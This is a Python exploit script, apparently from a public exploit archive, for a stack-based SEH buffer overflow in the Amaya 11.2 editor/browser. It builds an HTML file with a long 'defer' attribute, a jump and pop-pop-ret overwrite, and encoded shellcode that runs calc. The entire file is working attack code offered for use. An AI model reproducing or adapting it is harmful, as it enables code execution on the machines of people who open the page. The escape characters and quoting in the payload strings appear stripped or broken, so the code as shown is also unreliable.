#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /    | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  __/  |__   |_| 
#
#[+] Bug :	 Amaya 11.2 W3C Editor/Browser (defer) Remote BOF Exploit (SEH)
#[+] Tested on : Xp sp3 (en) under (vb)
#[+] Refer : 	 http://www.milw0rm.com/exploits/8314
#[+] Exploit : 	 His0k4
#[+] Greetz : 	 All friends (DZ)

#[x] Note : The html file must be browsed from a webserver

#win32_exec calc encoded with alpha2=>374 bytes.
shellcode = (
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
"TiKyosYyyN8YzN9IT4utL4SkoqRSwcUOJKKJ7rMSzKKLIrkDysv"
"cONtBUOjKrQCwEscPlFEWcWJJVuk9pPkCPqqMeokZTQPKLTkoQa"
"ws8qYJFZmKLsbOVZBVvxEzfPdOwnQ921l6Q4OOyN362JfnrQSmU"
"kkZr1e4OdhgnQLISp9gkKZIntL7qa5Sl4QroV5vUKDhxKyR3KSP"
"MjTrMJvKnbVnlTLkKFOyPozWf7NiqgXcTQVkMDbKqZtBuOXkT1p"
"jusNTJkL4cOMmPszZmLtkmQsbRWUKppS6SpMSQrilNum5nMYmL8"
"k8ok2NSLjKkJ32WzA")

payload =  "<script defer=""
payload += "x41"*6914		#change this value if needed
payload += "x74x06x41x41"	#short jump
payload += "x50x1Ax03x10"	#pop pop ret somewhere
payload += "x61"*13	# popad
payload += "x52xC3"	# push edx,retn C3 not mangled ouf!
payload += "x44"*668	# padding
payload += shellcode
payload += "x45"*5000	# result
payload += "">"

try:
    out_file = open("exploit.html","w")
    out_file.write(payload)
    out_file.close()
    print("nExploit file created!n")
except:
    print "Error"

# www.Syue.com [2009-08-03]